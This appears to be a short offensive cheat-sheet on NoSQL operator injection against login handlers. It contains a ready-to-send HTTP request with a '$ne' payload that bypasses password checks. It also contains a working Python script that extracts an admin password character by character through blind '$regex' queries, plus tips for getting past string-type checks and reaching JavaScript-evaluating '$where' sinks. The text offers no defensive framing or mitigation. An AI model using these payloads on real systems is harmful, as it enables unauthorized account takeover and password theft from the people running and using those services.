NoSQL operator injection for auth bypass

If the login handler passes the request body straight into find, replacing a string with an operator object bypasses the password check.

POST /login HTTP/1.1
Content-Type: application/json

{"user":"admin","pass":{"$ne":null}}

For blind extraction, use $regex to leak the password character by character.

import requests, string
pw=""
while True:
  for c in string.printable:
    r=requests.post(url, json={"user":"admin","pass":{"$regex":f"^{pw+c}"}})
    if "dashboard" in r.text: pw+=c; break
  else: break
print(pw)

Pro note: if the endpoint forces string types, try the same via query string with bracket notation (pass[$ne]=) which many body parsers still expand into objects. Watch for $where and $expr sinks that allow JavaScript, which upgrade injection to full expression evaluation.